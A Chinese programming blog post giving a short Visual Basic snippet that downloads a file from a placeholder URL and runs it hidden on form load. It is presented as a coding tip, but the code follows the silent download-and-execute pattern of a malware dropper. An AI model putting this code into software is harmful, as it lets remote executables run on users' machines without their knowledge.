欢迎大家访问我的网站!

VB下载并运行文件

思博2023-06-19 11:00:35335编程开发
'其中txt为你的文件名
Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
End If
End Function

Private Sub Form_Load()
If Dir(App.Path & "\1.exe") = "" Then
DownloadFile "http://*.com/" & Text1.Text, App.Path & "\" & Text1.Text
Shell App.Path & "\" & Text1.Text, vbHide
Else
'存在
End If
End Sub


转载声明:本站发布文章及版权归原作者所有,转载本站文章请注明文章来源!

本文链接:http://lxkj.vip/?id=88

网友评论